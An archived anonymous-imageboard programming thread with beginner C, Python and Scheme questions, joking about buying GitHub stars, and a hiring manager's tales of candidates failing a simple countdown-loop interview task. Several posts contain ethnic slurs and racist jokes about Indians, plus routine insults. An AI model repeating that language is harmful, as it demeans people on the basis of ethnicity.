Anyone used http://githubstars.com/, I keep getting declined for jobs and I think it's due to my lack of stars
>>
>>56721002
THANKS I JUST BOUGHT 100 STARTS NOW I AM HIRE TO WORK FOR AMERICA

t.pajeet
>>
I've gotten glQuake to not render anything when running and accept non-blocking input from stdin.
>>
>>56721002
I doubt they're even looking at your github.
If i was an employer, I wouldn't judge you based on the stars or fancy metrics on your github profile because those are all stupid easy to fake.
>>
>>56721013
i feel bad for those guys but i also don't want to have anything to do with them
>>
has someone made an app to responsibly distribute street shitting? what would you name it?
>>
>>56721071
Defecate in the lavatory Patrick John
>>
For mysql, the documentation says that exist returns a true or false, but it also returns the rows if the thing does exist. So does everything that returns true return rows that make the function true?
>>
File: ss+(2016-09-22+at+03.11.51).png (9KB, 603x100px) Image search: [Google]
ss+(2016-09-22+at+03.11.51).png
9KB, 603x100px
filthy noob here
#include <stdio.h>
setlocale(LC_ALL, "");
FILE* target;
main(){
target=_wfopen("xxxx.txt",L"w, ccs=UTF-16LE");
fwprintf(target,L"èèè");
fclose(target);
return 0;
}


pic relared is what i get
what's wrong with that setlocale?
>>
Why isn't there a subreddit where you post your GH name, people follow and star all your repos then you do the same for them
>>
>>56719622
>Need some help with this problem. I'm a beginner programmer, and can't really understand what to do here.
don't worry, the ''''''problem''''' is unrelated to programming.
>>
>>56718688
>idling all day on some dead channel.
sounds like you've only been on freenode, lad
>>56720568
>kernal
>>
>>56721132
>function call outside of a function
are you drunk?
>>
>>56721188
>>56721188
Because it would trivial to blacklist everyone in that subreddit as a know-nothing retard.
>>
Decided to learn CMake. Figure I'm probably going to need to use it eventually. That said, it's got some weird quirks about it. For instance, on Windows, it defaults to MSVC. I would like it to default to MinGW, and if possible, never make an attempt to use MSVC. It also uses -std=gnu11 if you set C_STANDARD to 11, rather than -std=c11, which is... awkward.
>>
>>56720671
>library feature generally > language feature
you can't boost and jquery all your problems away
>>
>>56721260
that's because they're libraries in shit languages
>>
>>56721224
thanks, i'm new to C and I still make those stupid mistakes
also wfopen seems to be non existent in unix
>>
Project ideas for python
>>
>>56721318

fintech
>>
https://github.com/perception88/judas-watch

https://judas.watch/

https://twitter.com/JudasWatch/status/778671984855150592
>>
File: carlos.png (138KB, 350x350px) Image search: [Google]
carlos.png
138KB, 350x350px
>>56721318
snake
>>
>>56721318

Sierpinski gasket
>>
>>56721392

Followed ;3
>>
Why is this python code spewing out SyntaxError: invalid syntax
print ("Love Calculator")
nameone=str(input("Enter the first name: ")
nametwo=str(input("Enter the second name: ")
>>
>>56721430
Thanks senpai.
>>
>>56721302
Please don't do stupid microsoft specific shit.
>>
>>56721444
Nice trips, but you're missing closing parentheses on the last 2 lines.
>>
>>56720591
Computer Networks and Internet
Systems Programming
High Performance Computing
Computer Networks
Microprocessors

idc about the rest
>>
You all are very shitty programmers
>>
>>56721523
this
>>
mfw i'm a better programmer than everyone else combined in this thread

i pity y'all, none of you will ever be as good as me
>>
>>56721523
I might be shitty but I'm probably better at this than you. :)
>>
>>56721555
teach us
>>
>>56720591
Intro to Computer Game Develop
OO Comp and GUI
Web Apps
Intro to Comp Graphics
Programming w/ Ruby on Rails
Women in STEM
K-12 Computing Education
>>
>>56718656
Good old irc is ugly as fuck and isn't as user friendly
>>
>>56721555
stay delusional
>>
>>56721612
>Women in STEM
Sounds like a short elective
>>
>>56721555
post your github
>>
>>56720591
>Intro to Computer Game Develop
>Intro to Numerical Analysis
>Intro to Computer Graphics
>Systems Programming
>Object-Oriented Comp and GUI
>Mobile Computing
>Computer Game Development
>>
how do I destroy/ delete an object in java properly. I pool everything I can but the idea of setting a pointer null and let the object into limbo so it may or may not getting collected freaks me out. is there a way I can control that shit better?
>>
>>56721674
https://github.com/antiufo/
>>
>>56721678
>fasttrack to a career by mcdonalds
>>
>>56721684
you're missing the point
>>
>>56721705
post your pornhub
>>
>>56721684
The fuck? Let the GC do it's work, also destroying objects manually can run into performance overhead.
>>56721720
Don't have that, sorry.
>>
>>56721523

Not that it matters. A shitty programmer may have more useful program ideas. They're implement it badly, but it will be implemented as an idea for people to enjoy. A good programmer may very well do the same, but may be shy about sharing for code, or using it for anything. Who is more successful?
>>
Is there any website where I input my github name and it tells me what times I make the most commits?
>>
>Interviewing a web developer
>Decide to skip FizzBuzz and go for ProvingThatIQIsMoreThan60
>"In any language of your choice, write something to count down from 700 to 200, in decrements of 13."
>Candidates tries, but is clearly in a hurry
>Fails
>"It is alright, try again, take your time. No rush."
>Candidates take a long time retrying
>Still fails
This was a candidate with 4 years of working experience. I felt like crying.

Tomorrow, I will be interviewing a guy with 11 years of working experience. Hopefully, that guy can do it.
>>
>>56721851
program it yourself
>>
I'm just learning Python. I've found it a lot better and more fun not to just blindly go through syntax tutorials, but to learn a little bit, make something and solve problems along the way.
>>
>>56721877
GHCI:
[700, 700-13 .. 200]
>>
>>56721851
https://github.com/<username>/<repo>/graphs/punch-card
>>
File: 1435372828296.png (750KB, 854x853px) Image search: [Google]
1435372828296.png
750KB, 854x853px
>>56721877
>>
>>56721877
500 isn't divisible by 13, so you can't go from 700 to 200.

What's the trick?
>>
>>56721877
>literal retards are scoring interviews
>i can't even get rejection emails on the resumes I send out
>email them if they received my resume
>"sorry we cannot divulge that information"
>look up their HR dept heads
>try to email them directly
>"sorry we do not give that information out"

fuck everything
>>
>>56720590
>>56721220
https://en.wikipedia.org/wiki/KERNAL
>>
>>56721955
>count down from 700 to 200
>>
File: Untitled.jpg (732KB, 2394x1698px) Image search: [Google]
Untitled.jpg
732KB, 2394x1698px
>>56721893
I do not know what language that is, so I have no idea if that works or not. But clearly, your head is in the right place.

This is what the candidate gave me. First attempt at top.

Once more, the instructions were unbelievably easy:
>Count down from 700 to 200, in decrements of 13.
>>
>>56721968
so just a loop that -13 every iteration until <= 200?
>>
>>56721968
What the fucking fuck
>var
>var
They're a web developer, that makes things make more sense
>>
>>56721956
Send me your email, with personal details blanked if you wish, and I can give you criticism. I have (literally) read several hundred resumes by now.
>>
>>56721968
That's an haskell form that generates a list of numbers from 700 to 206.
>>
File: enum list.png (6KB, 647x103px) Image search: [Google]
enum list.png
6KB, 647x103px
>>56721968
Haskell, [700, 700 - 13 .. 200] is a list consisting of the values 700, 700 - 13, 700 - 26, ... 206

GHCI is a repl, so if you entered that it would print it back to you
>>
>>56721988
That is it. Just a simple loop, like everyone has done a thousand times in class.

Just... instead of looping from 1-10, loop from 700 to 200. And instead of increments of 1, do decrements of 13.

Much, much simpler than FizzBuzz.

But if a person cannot program, they cannot do it.
>>
>>56722022
Why did you choose an ending value that won't be hit?
>>
File: afaggotthatloves4chan.png (80KB, 276x303px) Image search: [Google]
afaggotthatloves4chan.png
80KB, 276x303px
Trying to build a computer dedicated to 4chan by bringing a CRT tv back to life. While hooking it up to a C.H.I.P computer. Once that's done, I going to do a live stream of the computer and let /b/ screw around with it.
>>
>>56721968

I believe that the problem with this is that if you were counting down from 700, decrementing 13 each time, you would never reach 200. It would either print 206 or 193 at the end.

for (var i = 700; i > 200; i -= 13) { console.log(i); }


This will count down to 206, not 200.
>>
Add an expression whose result is a function closure. Evaluating (function x E) creates a function that takes parameter x and yields the value of expression E. (x is required to be a symbol).

For example, expression (function d (plus d 1)) yields a function. If the function were called d, it would be defined by f(d) = d + 1.

A function is allowed to use variables that have definitions at the point where the function is built. For example, evaluating (eval-expr (function q (time q w)) ((w 4) (r 20))) yields a function f defined by f(q) = q*4.

Accomplish this by representing a function in the form (closure x E env) where x is the function's parameter (a symbol), E is the function body (an expression) and env is an environment (the environment that was in effect when this function was evaluated).


>how do i do this
>>
>>56722022
>making your candidates do math
Math is hard.
>>
>>56722033
just predict and take the difference as last increment

>>56722022
maybe he thought you want to jew him. seems really easy for a programming job.
>>
>>56722058
Who are you quoting?
>>
>>56722033
>>56722046
The limits were arbitrarily chosen, as I am not testing their maths. I just want to know if they are good enough programmers to do a simple loop, and whether they have the capability to understand and complete a simple task.
>>
>>56722074
http://www.cs.ecu.edu/karl/3675/fall16/Assn/Assn3/assn3.html

1-4 i got through fine, but 5 is like a brick wall. i have no idea what i'm supposed to do
>>
>>56722046
He didn't say you have to print out the number.
0/10 don't call back
>>
File: Untitled.png (177KB, 952x1345px) Image search: [Google]
Untitled.png
177KB, 952x1345px
>>56722062
Apparently, it is.
>>
>>56718622
Working on a very small website and trying to understand what the fuck is redis and why should i care or embrace it as a db.
>>
>>56722142
just use sqlite
>>
>>56721956
they just don't want to get sued
>>
File: 1472333085539.jpg (59KB, 520x344px) Image search: [Google]
1472333085539.jpg
59KB, 520x344px
>>56722137
that's fucking gold. I mean I suck in math too but some if you cant even use modulo you should change profession.
>>
>>56722046
he wrote some retarded bullshit like

for(x = 200; x <=700; x * 13)
echo x;
>>
>>56722163
Yeah, that is my first option, but I'm trying to learn other stuff on the way without sacrificing performance or stopping being practical.
>>
File: pizza-botnet.png (1MB, 1280x720px) Image search: [Google]
pizza-botnet.png
1MB, 1280x720px
>>56722058
>>56722104
please help me
>>
>>56722204
>lisp
(just (give up))
>>
>>56722210
(can't wake up)
>>
>>56722222
nice repeating digits
>>
>>56722222
q u i n t s
>>
>>56722222
n o i c e
o
i
c
e
>>
File: coffee.png (47KB, 1344x754px) Image search: [Google]
coffee.png
47KB, 1344x754px
>>56722091

Aye. I'm just saying that there could be a source of confusion caused by the fact that, in counting down by 13, one would not reach 200. Regardless, however, that was not the problem raised by your candidate. The problem was that he was a retard. I am curious to know what your more "advanced" questions would be. That is, to show that they know MORE than someone with a week of programming skills.

Because really, that is just a basic for loop. It can be one lined in any language. It even looks cute in CoffeeScript.

>>56722113

Format of output was unspecified, and therefore open to interpretation. Printing to stdout is just a standard way of obtaining an answer.

>>56722196

Shouldn't that be *= 13? I think he did a *= 13. I am not sure why, however.
>>
>>56722045
>this should be interesting

Where will you be streaming?
>>
>>56722256
On Youtube

However, I will do a /diy/ thread first on building the computer
>>
File: Untitled.png (391KB, 1848x2018px) Image search: [Google]
Untitled.png
391KB, 1848x2018px
>>56722243
I am not looking for the next Carmack. Just proving that you can do some intermediate programming tasks would be sufficient. I have not actually thought of anything beyond "count down from 700 to 200 in decrements of 13", because I have not had candidates pass that yet.

>>56722169
Let me spruce that up a bit.
>>
>>56722137
I know how to do the buzz but I could probably figure out the second one with googling since I've never worked with time codes before. What's wrong with that?
>>
File: intellectual-feels.jpg (6KB, 164x196px) Image search: [Google]
intellectual-feels.jpg
6KB, 164x196px
>tfw too intellectual for /dpt/ to be able to help me
>>
>>56722319
it's just parsing the string and adding minutes*60 etc
>>
>>56722331
do your own homework, kiddo
>>
>>56722319
An exact and perfectly working solution is not required. This is an interview, you will be solving things on a paper.

You just need to show that you understand the solution algorithm, even if the syntax for it is not at your fingertips.
>>
>>56722368
tell us some more advanced questions please
>>
>>56722380
average two ints in C
>>
>>56722368
Well I know how to do it after seeing what the format looked like, you just do a *60 and *3600 to two of the numbers but I originally thought that time code was month year day and time. Would interviewers tell you what the thing looked like?
>>
>>56722282

>because I have not had candidates pass that yet.
I am not sure if I should be optimistic or pessimistic. On one hand, if a good portion of my competition in the workplace is total retards, my actual experience (though I have not a ton to show for it aside from my degree) may be more valuable. On the other hand, too many idiot programmers means that a lot of the infrastructure that I will be working with is going to be built and maintained by idiots.

>>56722169

A halfwit could do FizzBuzz even without knowledge of the modulo operator. Just store the remainder as a separate variable that is incremented, and reset every time it hits 3 or 5. As long as you know how to use variable assignment, for loops, if statements, and basic arithmetic (literally just + and -), the problem is trivial.

>>56722331

What is your problem?
>>
>>56722395
>sorry I dont watch animu
>walk the dinosaur
>>
>>56722380
I have none.

...maybe I should look into that.

>A programmer walks into an interview.
>IT IS A MIRACLE! IQ IS MORE THAN 60!
>Unlike the previous 199 applicants, this programmer CAN do FizzBuzz!
>What do you ask now?
I have no idea. Will look into it now.
>>
>>56722417
>If you can do fizzbuzz, you are hired
And people are saying Haskell fags are unemployable. I can show you a million fizzbuzz implementations
>>
>>56722408
>he can't average two ints in C
anon...
>>
>>56722417

To be fair, if someone had an IQ of more than 60!, then they would likely have better things to do than web development.
>>
>>56722430
>haskell fag thinks being able to write fizzbuzz is an accomplishment
>>
>>56722432
why in c? c is for nerds
>>
>>56722400
>Would interviewers tell you what the thing looked like?
They might, or might not. The point is not just to test your "dry" skill, but to also see how well you can think on your feet, in cases of ambiguity.

I remember reading about an interview technique where they ask a general question with an open solution: "A restaurant is failing, and you are hired to help. What do you do first?" Then, whatever answer you give, they will say: "And if you cannot do that, what will you do instead?"

People can memorize FizzBuzz without understanding it. Companies want employees who can think, not just memorize!
>>
>>56722319
var time = hours:minutes:seconds;

var temp = time.split(":"); (or explode or w/e the js one is)
console.log(temp[0]*60*60 + temp[1]*60 + temp[2]);

really not hard
>>
>>56722447
It was a joke

You fucking idiot
>>
>>56718656
it just has more functionality and ease of use. I think it's almost at a point that it can replace Skype entirely.

Also I've just been messing with stream io and getting back into C++
>>
>>56722457
>>>/g/wdg
>>
File: gebaselt.jpg (52KB, 527x578px) Image search: [Google]
gebaselt.jpg
52KB, 527x578px
>>56722488
you are only proving my point, nerd
>>
>>56722479
>i was only pretending
>>
>>56722506
Upvoted.
>>
>>56722434
I dunno, the work is easy and I get paid big bucks. Wtf do you do?
>>
>>56722517
(You)
>>
>>56722430
Unless the tasks the company is going to give require Haskell, then knowing Haskell on its own is not enough.

People will hire you to get the job done. If the job revolves around Java, then you need to know Java.
>>
<<56722525 (You)
>>
File: jhkkhg.png (30KB, 1896x168px) Image search: [Google]
jhkkhg.png
30KB, 1896x168px
>>56722405
>What is your problem?
it's making a scheme interpreter in scheme. the instructions have us do it piecemeal, adding small bits of functionality

first, a number is evaluated to itself, and then we added cases like (plus 1 2) to read the head of the list and perform that operation on the tail parameters

then we added if capability

then we added an environment, which is another list separate from the expression that is a parameter to the evaluation function, and contains associations between symbols and values. so (evaluate 'y '(y 5)) results in 5, because y is 5 in the environment.

the next part was tricky and it allowed the evaluator to interpret (let (x y) e) where x is associated to y in the environment, and e is then evaluated. i managed to get this working, except for when y is a function itself.

this next part i'm stumped, pic related. i have no idea what to do. genuinely 0 clue. it might be because it's late. i suspect it has something to do with lambda, but i don't see what that would work within this context
>>
>>56722434
>60!
>8.32e81
>>
>>56718842
>yuru yuri
>>
>>56722532
>If the job revolves around Java, then you need to know Java.
No worries there.
If the job revolved around Java, I would not have applied.
>>
>>56722539
>making a scheme interpreter in scheme
I don't know scheme but something like
(eval (quote (...)))
>>
>>56722546
*tips*
>>
NEW THREAD >>56722561

NEW THREAD >>56722561

NEW THREAD >>56722561

NEW THREAD >>56722561
>>
>>56722457

You know, it's interesting. My Artificial Intelligence professor for this quarter is offering the class the choice of what language we will be using to implement our assignments in, so long as we can come to a consensus. Our options are C, C++, Java, and Python. She is hoping we will be choosing C, however, because it is her favorite language... I wouldn't call her a nerd per se, even if her passion is robotics.

>>56722523

Right now, I'm starting my research project for my master's degree. I highly doubt that you have an IQ of above 60!, however, so it's somewhat of a moot point.
>>
>>56722577
nerds are not accomplished people but neets on g acting as if they are the hot shit because they can fizzbuzz in c
>>
What's your opinion on Scala?
>>
>>56722602
Shit
>>
>>56722577
>Right now, I'm starting my research project for my master's degree
Oh you mean that worthless piece of paper?
>>
>>56722540

8,320,987,112,741,390,144,276,341,183,223,364,380,754,172,606,361,245,952,449,277,696,409,600,000,000,000,000, to be precise.

>>56722625

A worthless paper that may be able to get me a job in software security.
>>
>>56722652
Yeah maybe if you know who's cock to suck. We actually recently interviewed a guy who has a masters in cybersecurity. He didn't even know what CSRF was and couldnt even finish the coding test.

But good luck, friend.
Thread posts: 326
Thread images: 41


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.